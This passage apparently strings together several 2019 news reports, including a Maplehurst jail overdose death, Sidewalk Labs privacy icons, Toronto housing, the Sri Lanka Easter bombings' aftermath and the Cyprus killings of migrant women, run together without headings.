simpler, calmer life, but his final days were far from peaceful, according to the post-mortem report sent to his mother more than a year after his death. What follows is pre-autopsy information provided by Halton Regional Police as part of that report. While in Maplehurst, Johne had been in the medical wing of the jail because of a shoulder injury in May. On June 17, he was found with a large quantity of medication not prescribed to him. Two days later he purchased and subsequently used heroin. He didnt sleep that night and was noted to be vomiting. On June 20, he was described as acting super hyper and obtained and took a second dose of heroin. He was found in his cell that night, lying on his right side, in the recovery position with his back to the wall and with a grey tint to his skin. A small plastic bag with a tie was in the toilet. The cell could occupy two inmates but Johne was alone. Correctional staff used an automatic external defibrillator, then emergency medical staff tried to resuscitate him, as did paramedics before he was taken to Milton hospital. Johne was given naloxone, a drug that reverses the fatal impact that opioids have on breathing, multiple times without effect, but the report does not detail who gave it to him and when. Days after he died, Johnes family held a service for him in Sundridge, Ont., a village near Algonquin Park, close to where he was raised. His body was cremated. That memorial took place shortly after a judicial pretrial had been scheduled in Milton court, a closed-door proceeding that Johne, his loved ones and his lawyer had hoped would end with him being sentenced to time served and released. What his mother and fiancee want to know is why a man with a documented history of drug use and related arrests, who was caught with prescription drugs, was not better supervised. About five months after Johnes death, Maplehurst inmate Curtis McGowan, 32, died after consuming fentanyl, the CBC reported. The Star does not know the details of the third overdose death that year. Maplehurst inmate Francisco Javier Romero Astorga, 39, died in hospital on March 13, 2016, after ingesting fentanyl and methamphetamine, according to the coroners office. Between 2010 and 2015, no overdose-related deaths were reported at that jail, the coroner said. About six months before Johne died, the coroners office had recommended the ministry co-ordinate a strategic plan to prevent deadly drugs from being consumed in jail, track fatal and non-fatal overdoses and convene a working group of experts by January 2019. The group has not been convened. The coroners recommendations, which the ministry is not obligated to act on, came at the end of a joint inquest into the deaths of Paul Stevens, 51, and Jeffrey Sutton, 36, who both died of drug overdoses while being held at the Toronto South Detention Centre. Stevens ingested fentanyl, cocaine and the antidepressant bupropion in 2015, and Sutton died of acute cocaine toxicity in 2010. Read more: Coroners inquest called into three prison drug deaths Overdose prevention sites possible in Canadian prisons, Correctional Service says Justin Lidstone died of an overdose. His family was gutted. We spent a year with them to understand what happened Because a suspected overdose is part of an inmates private medical file, it is confidential and the data is not tracked centrally, a press secretary for the previous minister told the Star. Morrison says the ministry has implemented body scanners at almost all facilities used when people are admitted and at the discretion of the superintendent if a security concern arises and has canine teams to slow the flow of contraband. Chris Jackel, corrections division chair of the Ontario Public Service Employees Union, wants naloxone to be carried by all corrections officers. The ministry should also make it easier for staff to have access to those scanners, if contraband is suspected, and boost the number of trained intelligence officers and drug sniffing dogs, Jackel said. If there is one death, there is one death too many, Jackel said. This can be avoided. Morrison said naloxone is available at all sites for nurses to administer, and if a nurse is not present, correctional staff can use the nasal version of the drug if an opioid overdose is suspected. Sapers, who is still involved with projects aimed at improving jail systems, says the provincial government can improve safety through the Correctional Services and Reintegration Act, which became law last spring. The purpose of the act is to improve training and screening methods for contraband, as well as improve living conditions and health services, and move to a more individual focus on rehabilitation and reintegration. The appointment of an inspector general of correctional services would also improve safety, Sapers said. Somebody has to be present to keep asking that question (how to reduce overdose deaths). Somebody has to have the access to be able to freely look at information, enter premises, talk to people, and not just in the way that reacts to the crisis but prevents it, Sapers said. Derek Johnes loved ones may never learn exactly what, if anything, could have prevented his death. They hope that talking about what happened to him could result in some kind of positive change. Eldridge gave up hard drugs six months after Johne died and is committed to keeping the promise they made to each other. She sought out support for her mental health, which includes profound anxiety, and now has her own apartment and joint custody of her daughter. Nothing about it has been easy. Hard doesnt even touch it, she said. There is hope. Just keep trying I am so strong. I never believed it. Derek always used to say it. Waiting for the inquest is just another phase of an unbearable experience, she said. He keeps dying in our heads over and over. At his sisters wedding this summer, Johnes family will set out an empty chair with a sign letting guests know it is saved for somebody in heaven. His mother dwells on other milestones their family will miss. Her son wanted more children, who he would have taught to ride dirt bikes and snowmobiles and spoiled with chocolate, she says. He would have been good. The small things hurt just as much. To this day, when the phone rings, I think it is going to be him. Sidewalk Labs has unveiled a new system of symbols the firm hopes will help people navigate data and privacy issues when it comes to dealing with technology in public places. The Google sister firm recently launched its Digital Transparency in the Public Realm (DTPR) project, a new visual language that uses icons illustrated inside hexagons. The intention is to make the use of technology such as sensors or surveillance cameras in cities more transparent and understandable, Sidewalk Labs says. The symbols could be used in any city, any private building, any shopping mall, anywhere where digital technology is being deployed, to collect data, whether about people or not, says Jacqueline Lu, associate director of public realm for Sidewalk Labs. She said the purpose is to make sure people are aware and educated about how pervasive these technologies are in the world. Walking around, commuting, whether in Toronto, London, New York, you are being observed. There are data collection technologies that are working around you and there is no unified, no consistent way you are told about them, said Lu, later adding that transparency and data collection is the issue of our time. Although the symbols are gaining praise for providing notice of data collection, critics also argue the new system works to normalize potentially intrusive forms of surveillance and is no substituent for requiring and receiving consent of those whose data are being collected. Read more: Quayside project is no moon shot Alphabet will walk away from, Sidewalk CEO insists The Alphabet of Sidewalk Labs plan for Torontos waterfront Sidewalk Labs CEO responds to criticism around tax and transit plans Sidewalks symbols include one type of hexagon that depicts the purpose of the technology security, research, city planning, for example. Another version of the hexagons describe the business or entity responsible for the technology. A third type of hexagon contains a QR code that individuals can scan with their smart phones, taking the individual to a digital channel where they can learn more about the technology such as when, where and for how long the data is being stored. Sidewalk Labs says in situations where identifying information about individuals is being collected in a public space a privacy-related coloured hexagon would be displayed. A yellow icon signifies identifiable information, while blue means that any identifiable data collected follows privacy by design rules and is being de-identified before first use. The new system, which Sidewalk says is still in the prototype phase, is open source and free for anyone to use. The system could potentially be used at the 12-acre Quayside beta site where Sidewalk Labs wants to build a new tech-driven smart city in Toronto, but the hope is that other businesses or governments could use the symbols elsewhere, Sidewalk says. Lu said Sidewalks new system of symbols is something we thought we could contribute to the conversation to move things forward. The symbols were devised through a co-creation process where input was gathered from more than 100 participants in several cities including Toronto, London England and San Francisco. Lu pointed to closed circuit CCTV cameras already in use all over the world. There is signage that tells you about the CCTVs, but it doesnt necessarily tell individuals about who is collecting the images, for how long and who has access to that information. The new symbols would address those concerns, Lu says. But critics are expressing concerns with Sidewalks new symbols. Sidewalk Labs and its data approach is focused on entrenching the status quo of mass data collection in public spaces. They are doing this at exactly the moment when society is pushing back, globally, on the mass data collection that is already taking place, says Bianca Wylie, a tech expert, advocate of open government, and one of the leaders of #Blocksidewalk, a group in Toronto trying to stop Sidewalk Labs Quayside project. The icons are problematic in several respects, most notably in normalizing a range of novel, potentially intrusive forms of surveillance that need public discussion and policy development before being deployed, argues Andrew Clement, professor emeritus in the faculty of information at the University of Toronto and a member of the Digital Strategy Advisory Panel advising Waterfront Toronto on Sidewalk Labs Quayside project. While calling the design process used to create the symbols commendable as it was highly participative and involved a range of stakeholders, Clement says creating icons now is akin to putting the cart before the horse. David Fewer, director of the Samuelson-Glushko Canadian Internet Policy and Public Interest Clinic (CIPPIC), a law and technology clinic at the University of Ottawa, adds that while the notice the symbols provide is positive, that notice is no substitute for consent. Have your say If you are gathering personal information you need consent. There is a bit of a struggle happening around how privacy works in public spaces ... we (the CIPPIC) are pretty firm on the line that you cant be collecting personal information without consent. Chelsey Colbert, a legal associate with Sidewalk Labs, admits the symbols do not address all the issues of consent around data collection, but adds we believe (they are) a meaningful step forward in addressing notice and transparency around the technology that currently exists in the public realm. She went on to say there is only a legal imperative for signage dealing with the collection of personal information as per Canadas Personal Information Protection and Electronic Documents Act (PIPEDA). The act says organizations covered by it must obtain an individuals consent when they collect, use or disclose that individuals personal information. Colbert argues that because the new icon set applies to all technologies, not just the ones that collect personal information, this project goes above and beyond the federal acts requirements. Industry leaders are tackling the messy, meaty issues facing Toronto at a city-building summit Monday. The event put on by civic engagement organization CivicAction, dubbed Canvas, addresses some of the citys most severe challenges by bringing together industry leaders to generate ideas and solutions. For 2019, the organization identified five key areas plaguing Toronto: housing affordability, sex trafficking, the future of work, extreme weather, and inclusivity. These are issues that are of urban importance to the Greater Toronto Hamilton Area, said CivicAction CEO Sevaun Palvetzian. Theyre big, theyre messy, theyre meaty, and they need help through collective action. Governments alone cannot do this. CivicAction introduced its city-building summit in 2015 with the intention of hosting it every four years the same duration of time between elections, Palvetzian said to refocus on how Torontos urban challenges have evolved, and in some ways will worsen if not addressed. Were already in a boiling pot, and (these issues) are only going to get hotter, she said. Housing affordability, the only topic from the last summit that made its way onto this years agenda, continues to be a top concern for residents in the GTHA, with the average price of a detached home nearly tripling in Toronto between 2005-2017, according to CivicAction. The prevalence of people who are barely hanging on to afford housing today and the backlog of people that cant get in for housing today and tomorrow just continues to grow, Palvetzian said. The 550 attendees comprise professionals from organizations with deep, on-the-ground knowledge of these challenges, including leaders from labour, government, business and faith groups, according to Palvetzian. Naama Blonder, a Toronto-based architect and an urban designer, is participating on the housing affordability panel. She spoke with the Star about the issue. The conversation has been edited for space and clarity. How has housing become less affordable? The first thing people will tell you is its cost of land. Land is too expensive. And under that you can talk about two things. One is access to transit infrastructure. For me, this is number one. And the other thing is cost of land and policies that the city determines. In the yellow belt (areas zoned for low-density development), youre not allowed to build anything but houses. Theres also the other component that is the state of mind of our culture. In North America, people see that they must live in a house with a backyard and if you dont own it, something is wrong. That you are not a good parent if you dont have access to a backyard for your kids. Who will be most affected by this issue, if it isnt addressed? There are the young professionals and this level in society that will look for a better place if they cant find it here. We can see a little bit of a brain drain to Hamilton from Toronto, and thats why Hamilton is now booming. But what happens if it goes beyond Hamilton to other places in the U.S that are more affordable? Its the citys loss too because they will lose this group in society that will just go away and look for better opportunities. A healthy city has it all. It has the elderly and the families and young people and many different groups. How do we start to solve the housing issue? Im sure you will have people with economic backgrounds telling you that increasing supply doesnt mean lowering demand. Then you will have others saying we need more. We talk a lot about the missing middle and people refer to yellow belt, or these areas where all you can build is houses. But we need to see a variety. I think one of the main obstacles is community objections (to greater density), and I think a lot of the time they are just not informed about what this means. What types of housing needs to be built to achieve this? Im not saying we only need to see tall buildings. We definitely need to see more of a gentle density. We need more mid-rises and lower. But even then, community objection is so drastic. I would like to start with seeing more of the missing middle in our neighbourhoods. For me, everything near transit needs to be higher density. This is my opinion. If you want to live in a house, thats wonderful. But dont do it on a subway line. Thats my opinion. It might be radical, but land is not something that only one family should have access to. Not in a big city. A British startup would like to know what airline passengers weigh before they board their flights. Its not nosy or pushing a fitness kick or trying to make people feel bad. It doesnt even want to make it obvious its calculating a persons weight. It just wants to save the planet from carbon emissions and save the airlines some money, according to a report this week by the Lonely Planet. The company, Fuel Matrix, has developed technology that would allow airlines to determine passengers weights with more precision than the estimated weights they use now. Its critical to know the actual weight an airliner is carrying to ensure the correct fuel uplift, Roy Fuscone, the companys chief executive, was quoted as saying. Instead of relying on generous estimates currently in use about 194 pounds for men and about 154 pounds for each woman, as set by the European Aviation Safety Agency an airline could know exactly what the people and luggage on board weigh. That might mean taking on less fuel. While the technology might be new, the concept isnt. Other airlines have sought to alter their practices based on the economics of calculating each passengers weight and their baggage. In 2013, Samoa Air became the first airline to weigh passengers and charge a variable kilogram-per-mile rate based on whatever the scale had to say. To some, the method seemed reasonable, since heavier people take up more space and more energy to move. To others, the move seemed like fat-shaming dressed up as economic fairness. Airlines are often accused of treating their passengers like pieces of meat, but Samoa Air have broken new ground, a British columnist wrote in the Guardian at the time. In 2016, Hawaiian Airlines won approval from the U.S. Department of Transportation to assign seats to passengers based on their body weight, the Christian Science Monitor reported. Lonely Planet said the company is in talks with airports in the United Kingdom to figure out discreet methods of determining a passengers weight. Fuscone also told the travel guides website that passengers privacy would be safeguarded just as with any other private data. AEON wants to shift its material zones from China to several Southeast Asian countries like Cambodia, Myanmar and Vietnam which offer lower prices, he said, adding that the corporation is planning to expand production of instant noodle, fried buns, and products made of chickens and salmons. He stressed that the conference helps realise the Memorandum of Understanding on supporting the export of Vietnamese products to the Japanese market through the distribution system of AEON inked between the Ministry of Industry and Trade (MoIT) and AEON. Under the MoU, AEON committed to raising Vietnams export turnover to US$500 million in 2020 and US$1 billion in 2025. According to Nguyen Thi Mai Anh, Vice Director of the Hanoi Investment, Trade and Tourism Promotion Centre, the centre has accompanied the MoIT in a project to enhance the engagement of Vietnamese firms in the foreign distribution system by 2020. Only six Vietnamese products were introduced at AEON supermarkets at the AEON good week event in Japan last year, however, they brought home nearly VND6 billion (US$258,700) in revenue, she said, adding that AEON, the MoIT and her centre will organise the same event in June this year at AEONs 40 supermarkets, targeting VND10 billion (US$431,000) in earning. Vietnamese firms should be well prepared before breaking in Japan - a choosy market that has strict requirements for product quality and competitive prices, she added. At the conference, AEON experts gave consultations to the Vietnamese suppliers on technical standards and product quality with specific goods so that they can enter AEONs supply chain. invites artists to apply to a juried art auction to benefit public art in Pittsfield. Up to 3 pieces will be accepted in all media including fine art, photography, jewelry, ceramics, etc. You may submit as a donation or receive 30% of the proceeds. Accepted artists will receive promotion in the Berkshires as well as free entry to the event. Deadline to submit: Wednesday, May 15. You'll be notified of your acceptance by May 31. Artscape's Fine Art Auction will be held on Thursday, June 13 from 5:30-7:30 p.m. at Framework Coworking on North Street. JOHANNESBURG - This story was first published on April 26, 1994 when AP journalist John Daniszewski reported on South Africas first all-race election. We are reprinting the story now to mark the 25th anniversary of the vote and the end of the system of racial discrimination known as apartheid. ___ Black South Africans made history Tuesday, voting by the tens of thousands to take control of their country for the first time since whites arrived 342 years ago. Refusing to be cowed by a wave of deadly bombings, the elderly and infirm came in droves from squatter settlements and thatched villages to mark a simple cross on a piece of paper. Some literally crawled and others were pushed to the polls in wheelbarrows. Many broke down in tears after making their mark. We need freedom, said 72-year-old Florence Ndimangele, voting with other elderly people near Cape Town. We are tired of being slaves. Underscoring the epic change, a new South African flag was raised at midnight in ceremonies at nine regional capitals after the old flag that many blacks viewed as a symbol of white rule was lowered. The anthem of the anti-apartheid movement, God Bless Africa, was sung for the first time as one of the two official national anthems, along with Die Stem (The Call), a hymn of the Afrikaners whose five-decade rule is about to end. Despite late-arriving ballots and lines so long in some places that people collapsed, the mood among blacks casting the first vote of their lives was jubilant. Tuesdays voting was reserved for the aged, invalids, people in hospitals and the military. General voting begins Wednesday, when African National Congress leader Nelson Mandela and President F.W. de Klerk will cast their ballots. Today marks the dawn of our freedom, Mandela said. For Gladys Shabalala, a 62-year-old retired nurse voting near Durban, it was a day of immeasurable significance. There have been so many white elections, she said. I used to pass the posters on the road and dream about whether I would be able to vote. Thats why I came so early, to see if this is really happening. Her seven daughters, she said, will see a real new South Africa. After two days of bombings by suspected right-wingers that killed 21 people and injured more than 150, no major violence was reported Tuesday. Election officials said they were generally pleased with the voting, despite some glitches. In one of the few violent incidents, police guarding a polling station in the northern Orange Free State returned fire after assailants cut power to the building and sprayed gunfire that damaged doors and windows. Police said the attackers escaped in a vehicle. Ballot counting from the three-day election begin Friday. Preliminary results are expected about noon Friday and final results were expected Saturday. An estimated 23 million South Africans of all races were eligible to vote. The heavy turnout was a striking repudiation of the bomb-throwers, as blacks went out of their way to show they would not be denied their moment of glory. I cant wait to vote, said 29-year-old David Maimola, speaking from a hospital bed where he is recovering from injuries sustained in a bomb blast Sunday. After what has happened to me ... I want a new government. The election, set to conclude Thursday night, will select a national assembly and nine provincial assemblies. The ANC is expected to win about 60 per cent of the vote. Second place should go to de Klerks National Party, which implemented apartheid to separate the races, then dismantled it under growing pressure at home and abroad. The 75-year-old Mandela, who struggled all his life against apartheid and spent 27 years in prison, is expected to be sworn in as president of South Africas first democratic government on May 10. He will govern a deeply divided country, with unemployment and illiteracy higher than 50 per cent among blacks. The vote brings to a close an era in which 5 million whites dominated 35 million blacks, browns and Asians was coming to a close. Its the end of an epoch, said Adeline Barkhuizen, 66, who lives on a farm outside Pretoria. It will be difficult for the Afrikaner people. Many whites said they shared the blacks joy. I never thought I would see the day when I would wish I was a black person, enthused one white caller to a talk-radio station. Waits of four or more hours to vote were not uncommon. At Empilweni Hospital in Port Elizabeth, sick and elderly voters collapsed in the hot sun. Some of the most poignant scenes were in remote areas such as Usuthu in Natal province, where hundreds of elderly and crippled voters took shelter under thorn trees as voting in the Zulu homeland got off to a chaotic start. Many had hobbled through the hills on crutches. Some came in wheelbarrows pushed by relatives and others were dropped off by trucks and literally crawled into the line, eager to vote. They were disappointed to find ballots had not yet arrived. Usuthus head teacher, Margaret Zungu, said elderly Zulu voters began gathering well before dawn. This is the first time they will vote. Theyve waited for this day. Theyre not going to be unhappy to wait a little longer. Foreign observers were overwhelmed by the determination of the voters. The infirm are being carried into the booths, said Margarete Delbet of France. Its a moving celebration of independence, rather than the act of voting. SAN SALVADOR, El Salvador - Former government officials on trial for participating in a gang truce that temporarily lowered El Salvadors sky-high murder rate in 2012 were following orders for the plan put in motion by then President Mauricio Funes, a defence lawyer said Thursday. Witness testimony shows that the truce was a policy of Funes administration and the 18 people on trial were just following orders, attorney Manuel Chacon said. Those on trial face charges of arbitrary acts and illicit association. The pact was negotiated between the government and the two main street gangs, Mara Salvatrucha 13 and Barrio 18. They agreed to lower the number of murders in exchange for their leaders being moved to lower security prisons where they had greater control of their members. Murders dipped from about 14 per day to five per day while the pact was functioning. But when it dissolved the following year and the gang leaders privileges in prisons were revoked the killings rose again. This is the second trial for those involved, 17 former officials and ex-guerrilla commander Raul Mijango. A judge cleared the accused in 2017, arguing that they had been ordered to act by then Security Minister David Munguia. Funes, the former president who faces his own corruption charges, received asylum along with his family in Nicaragua. All of the prison directors, all of them were (acting) in the vein of facilitating a pacification process, Chacon said. It wasnt opening the doors to all the prisons, but rather facilitating communication among them (gang leaders) so that they could reach agreements that could benefit the country. Ex-National Civil Police director Francisco Salinas testified that two former attorney generals also participated in security Cabinet meetings that discussed advances with the gang treaty. CARACAS, Venezuela - An American man detained during a wave of unrest in Venezuela has been freed after being held for five years. Todd Leininger, 37, was arrested in April 2014 on what his family describes as trumped-up charges. He was released Thursday. A senior Venezuelan official characterized the release as a gesture aimed at improving U.S. relations. The U.S. State Department is calling Leiningers release overdue, noting a Venezuelan court ordered him freed in November. Venezuelan officials have accused him of aiding the opposition during anti-government protests. The Florida native is one of several Americans who have found themselves behind bars in Venezuela as the nations political and economic crisis deepens. Joshua Holt was released after being held for over two years. Five Citgo oil executives who are U.S. citizens remain detained. COLOMBO, Sri Lanka - The Latest on the Easter attacks in Sri Lanka (all times local): 8:35 p.m. A military spokesman says soldiers have exchanged gunfire with suspects after attempting to raid a building in Sri Lankas Eastern Province as part of the ongoing investigation into the Easter Sunday suicide bomb attacks. Brigadier Sumith Atapattu said a gunbattle was underway in the coastal town of Sammanthurai, 325 kilometres (200 miles) from the capital, Colombo. Officials say local militants with ties to the Islamic State group conducted a series of suicide bombings on Easter Sunday at churches and luxury hotels in and around Colombo and in the distant seaside village of Batticaloa. The health ministry says about 250 people were killed. Sri Lanka has remained on edge as authorities have pursued suspects with possible access to explosives. ___ 6 p.m. Catholic priests have allowed journalists inside St. Anthonys Church in Sri Lanka for the first time since it was targeted in a series of Islamic State-claimed suicide bombings that killed over 250 people. Broken glass littered the sanctuarys damaged pews and blood still stained the floor. Shoes left by panicked worshippers remained in the darkened church, and broken bottles of holy water and flowers were strewn on the floor. A suicide bomber struck St. Anthonys during an Easter service last Sunday, in one of three attacks on churches. The archbishop of Colombo says there will be no Sunday Masses until further notice after the bombings. ___ 5 p.m. The archbishop of Colombo says there will be no Sunday Masses until further notice after the Easter bombings in Sri Lanka. Cardinal Malcolm Ranjith made the comment during a news conference Friday in the Sri Lankan capital. Ranjith appealed for financial support to rebuild the lives of affected people and reconstruct the churches targeted in the Islamic State-claimed suicide bombings, which killed over 250 people on Sunday. The U.S. Embassy in Sri Lanka has warned people to stay away from places of worship this weekend over concerns about possible further attacks. Sri Lankan officials say they continue to search for suspects in the bombings. On Friday, authorities urged Muslims not to hold congregational prayers over fears they might be targeted. However, several mosques did under the protection of security forces. ___ 3:50 p.m. Germanys Foreign Ministry is advising against nonessential travel to Colombo after the Easter Sunday attacks on churches and hotels in and near the Sri Lankan capital. The updated travel advice issued Friday says there is in principle a danger of further attacks and advises visitors to exercise increased vigilance but stops short of an outright warning against travel to the capital or to Sri Lanka in general. A German-U.S. dual national was killed in Sundays attacks. A total of 253 people died and more than 400 were wounded in the bombings blamed on Muslim militants. The U.S., the U.K. and other countries have issued similar advisories. ___ 1:45 p.m. An official Sri Lanka police Twitter account has been deleted after it misidentified an American human rights activist as a suspected Sri Lankan serial bomber, causing a social media furor. The account, @SriLankaPolice2, was deleted on Friday. Late Thursday, police posted the names and photos of three women and two men on Twitter that they said were at-large suspects in the Easter Sunday bombing attacks that killed more than 250 people. One of the names was of Muslim U.S. activist Amara Majeed, who quickly tweeted that she had been falsely identified. Sri Lankan police replied with an apology for the inconvenience. ___ 12:20 p.m. Some mosques in Sri Lanka are holding communal Friday prayers despite the potential for attacks after the Easter suicide bombings. At 12:10 p.m., the call to prayer echoed through the Masjidus Salam Jumma Masjid mosque in Colombo. Police armed with Kalashnikov assault rifles stood guard outside. The U.S. Embassy had warned Americans to stay away from all religious ceremonies this weekend over the attacks, which have been claimed by the Islamic State group. Sri Lankan authorities had told Muslims to pray at home rather than attend communal Friday prayers thats the most important of the week ___ 11:30 a.m. Australia has warned travellers that terrorists are likely to carry out further attacks in Sri Lanka. The government updated its travel advice website on Friday to say attacks could be indiscriminate, including in places visited by foreigners. The warnings follow suicide bombings at churches and hotels on Easter that killed more than 250 people. Sri Lankan authorities say some suspects are still being sought. Australias threat level remained unchanged, advising travellers to reconsider your need to travel to Sri Lanka, one tier below the highest warning of do not travel. The U.S. Embassy has also warned Americans to avoid places of worship in Sri Lanka due to potential for more attacks, and Britain advised its citizens against travelling to the island country. ___ 10:55 a.m. Sri Lankan authorities say the suspected leader of the Easter Sunday attacks that killed at least 250 people died in the Shangri-La Hotel bombing in Colombo. Police said on an official Twitter account Friday that Mohamed Zahran died in the attack. He was the suspected leader of a local militant group known as National Towheed Jamaat, which officials say carried out the series of suicide bombings at hotels and churches. Police also said they have arrested the groups second-in-command. They said the militants received some of their weapons training overseas. Australias prime minister said earlier on Friday that it had been confirmed that the Sri Lanka attackers were supported by the Islamic State group. ___ 10:30 a.m. Sri Lankas president has appealed to the island nation not to view its minority Muslim community as terrorists in the wake of Easter Sunday attacks that officials say were carried out by a local Muslim extremist group. President Maithripala Sirisena spoke to Colombo-based reporters on Friday. He says Sri Lanka has the capability to completely control ISIS activities in the country, referring to the Islamic State group, which has claimed responsibility for the bombings that killed at least 250 people. Officials have acknowledged that some intelligence units were made aware of a plot to attack churches weeks in advance. Sirisena says he was kept in the dark and placed the blame squarely on Sri Lankas defence secretary and police chief. He says the defence secretary had resigned but would stay on until a replacement could be named, and that the police chief would soon step down, too. ___ 7:10 a.m. Australias prime minister says the Sri Lankan militants blamed for the Easter attacks in that country had support from the Islamic State group. Prime Minister Scott Morrison told reporters Friday that ties between the local group and Islamic State included identifying the targets of the attacks. Sundays attacks killing at least 253 people primarily struck three churches that were packed with Easter worshippers and three luxury hotels popular with foreigners. Morrison said the attacks demonstrated a new front in fighting terrorism, that militants who fought in Syria and Iraq had returned home with skills to carry out attacks while being part of a broader network that could provide money, training and target identification. ___ 7 a.m. Heavy security is out on the streets of Sri Lankas capital after warnings of further attacks by the militant group blamed for the Easter bombing that killed at least 250 people. At St. Anthonys Church, one of those struck in the attacks Sunday, there were more soldiers than normal Friday. Shops nearby remained closed. Gration Fernando crossed himself when he looked at the church after walking out of his shop there. Fernando says he, like other Sri Lankans, was worried about further attacks. He says theres no security, no safety to go to church. He also says now children are scared to go to church as well. Authorities told Muslims to pray at home rather than attend communal Friday prayers thats the most important of the week. BEIJING - Chinas Belt and Road infrastructure initiative meshes perfectly with the goals of the Russian-led Eurasian Economic Union, Russian President Vladimir Putin said Friday. Putins comments to a Belt and Road forum in Beijing may help alleviate concerns over potential tensions between China and Russia, given Beijings rapidly expanding economic footprint in Central Asia, Moscows traditional sphere of influence. Putin told some three-dozen leaders attending the conference that Chinas moves fit perfectly into our plans. The Eurasian Economic Union groups Russia with Armenia, Belarus, Kazakhstan and Kyrgyzstan in a common market that seeks to remove barriers to the free movement of goods, services, capital and labour. The five member states unanimously supported the idea of linking the construction of the Eurasian Economic Community and the Belt and Road, Putin said. Separately, Putin met Friday with Chinese President Xi Jinping. He visited Beijing just after wrapping up a summit with North Korean leader Kim Jong Un in Russias Far Eastern port city of Vladivostok. COLOMBO, Sri Lanka - At 12:10 p.m. Friday, men and boys in a Muslim neighbourhood in Sri Lankas capital did something everyone had warned them not to do: They came together to pray. Hundreds gathered at the Masjidus Salam Jumma mosque for their communal Friday prayers, one of many mosques that conducted services despite warnings of retaliatory violence. And while praying through tears to Allah to help their fellow countrymen, all stressed one thing: the Islamic State-claimed Easter attacks targeting churches and hotels that killed at least 250 people came from people who didnt truly believe the teachings of Islam. They are not Muslims. This is not Islam. This is an animal, said Akurana Muhandramlage Jamaldeen Mohamed Jayfer, the chairman of the mosque. We dont have a word (strong enough) to curse them. Up until the call to prayer echoed through Colombos Maligawatta neighbourhood at noon, it wasnt certain the community would be able to pray. On Thursday, the U.S. Embassy in Sri Lanka issued a stark warning over Twitter that places of worship could be targeted by militants through the weekend. Sri Lankan Prime Minister Ranil Wickremesinghe also told The Associated Press he feared some of the suspects may go out for a suicide attack and local authorities urged Muslims to pray at home. But Friday prayers hold a special importance to Muslims as the Quran has its own chapter on the worship called Al-Jumah, or Friday in Arabic. When the call is made for prayer on Friday, hurry toward the remembrance of Allah, and leave all business, the Quran commands. For Muslims, Friday prayers means dressing in their nicest clothes and communing with others, often sharing a meal after listening to the imam and praying. The day carries the same significance for Muslims in Sri Lanka, where Arab traders brought Islam in the 7th century. Today, nearly 10% of Sri Lankas 21 million people are Muslim. In the hours before, community leaders decided that women should stay home for the prayers because of the threat. It remained unclear if they would hold the prayers, even as young men stopped in the mosque for a moment of quiet prayer, their sweat dripping from their brows as they bowed down on the purple-and-grey carpeting. Everyone is nervous, said Abdullah Mohammed, 48. Not just the Muslims. Buddhists, Christians, Hindus everybodys nervous. But as the time drew closer, they decided to hold them. Sri Lankan police officers armed with Kalashnikov rifles stood guard around the mosque, blocking the street. Organizers posted young volunteers to watch surrounding streets above the mosque, near a major cricket stadium. Inside the mosque, a young man worked on its internal security cameras, one hanging above wooden carvings of Arabic calligraphy and copies of the Quran. Jayfer said they had been installed two years earlier, but they needed repair given whats happening. When the electronic clock struck 12:10 p.m., a caller got on the loudspeaker, saying Allah akbar, or God is great. Men and boys quickly filled two floors of the mosque and part of a third as Imam Mohamed Imran stood before them on the minbar, the pulpit from which he preached. In English and later Tamil, Imran reminded the congregation they remain a minority in Sri Lanka, that they need to pray and ask for Gods help. As the sermon ended, he offered a prayer, growing emotional as he asked for God for help. Several men in the congregation cried. Then they bowed toward Mecca and its cube-shaped Kaaba, finishing their prayers and walking safely out of the mosque into the street below. A new sign in Sinhala hung by the mosque outside offered condolences, saying that just because the attackers had Arab names didnt make them Muslims. It is our country. We are Sri Lankans, Jayfer said. All Sri Lankans have a duty to be calm and quiet. (There) has to be peace. ___ Follow Jon Gambrell on Twitter at www.twitter.com/jongambrellap NICOSIA, Cyprus - Hundreds of people turned up for a protest vigil outside Cyprus presidential palace Friday to mourn seven women and girls who police say a military officer confessed to killing and to question if authorities failed to adequately investigate when foreign workers were reported missing. The protests organizer used a bullhorn to read out the victims names as well as those of other missing women, and others at the memorial shouted Where are they? in response. Some participants held placards decrying sexist, misogynist and racist attitudes about women who work as housekeepers or in low-paying service jobs. In a poignant moment, a group of tearful Filipino women held lighted candles and bowed their heads in prayer for the three women and one child of Filipino descent who are believed to be among the victims. A 35-year-old Cypriot National Guard captain is in custody facing multiple homicide charges. I felt obliged to do something for these women, all the missing women, all the killed women, protest organizer Maria Mappouridou said. I think deep down, all that we want, what everybody wants, is justice. Federation of Filipino Organizations in Cyprus chair Ester Beatty said she hoped the event, and the tragedy of the deaths, raise public awareness about migrant workers. Right now, its really difficult for us to accept what has happened, what is going on. Beatty said. We still need a lot of answers. Beattys group held a silent prayer vigil last Sunday, a week after the discovery of a Filipino womans body in an abandoned mineshaft triggered the investigation that led to the captains arrest. Police identified her as Mary Rose Tiburcio, 38. Tiburcio and her 6-year-old daughter had been missing since May of last year. Investigators zeroed in on the captain as a suspect and arrested him after scouring Tiburcios online messages. While investigating her death and searching for Tiburcios daughter, police found another body in the flooded mineshaft 32 kilometres (20 miles) west of the capital, Nicosia. Cypriot media have identified the victim as 28-year-old Arian Palanas Lozano, also from the Philippines. Investigators now think the missing 6-year-old was killed, too. On Thursday, the suspect told them while under questioning about four more victims and gave directions to a military firing range. The body of a woman, who according to the suspect was of Nepalese or Indian descent, was found buried there. From the suspects statements and information from the investigation, Cypriot police think the other three victims they know about so far are a 31-year-old Filipino woman who has been missing since December 2017, Maricar Valtez Arquiola, and a Romanian mother and daughter. Cypriot media identified the mother as Livia Florentina Bunea, 36, and her 8-year-old daughter as Elena Natalia Bunea. The two are believed to have been missing since September 2016. Police said the suspect will appear in court Saturday for another custody hearing. He cant be named because he hasnt been charged with any crimes yet. The scale of the ones he allegedly committed has horrified people in Cyprus, a small nation with a population of just over a million people where multiple slayings are rare. President Nicos Anastasiades said Friday that he shared the publics revulsion at murders that appear to have selectively targeted foreign women who are in our country to work. Such instincts are contrary to our cultures traditions and values, Anastasiades said in a statement from China, where he was on an official visit. Cyprus police have faced criticism from immigrant rights activists who said they didnt act quickly enough to locate the victims. The country has 80 unsolved missing person cases, going back to 1990. Police chief Zacharias Chrysostomou said a three-member panel has been assigned to review whether officers followed correct protocols in their handling of recent cases. As the president spoke, investigators intensified the search for bodies of victims at the firing range, a reservoir and a man-made lake near the abandoned copper pyrite mine. Five British law enforcement officials including a coroner, a psychiatrist and investigators who specialize in multiple homicides were coming to Cyprus to help with the investigation. On Friday, police spokesman Andreas Angelides again defended how the force dealt with missing person reports. He said investigations would have been more effective if lawmakers had taken the departments recommendation to give law 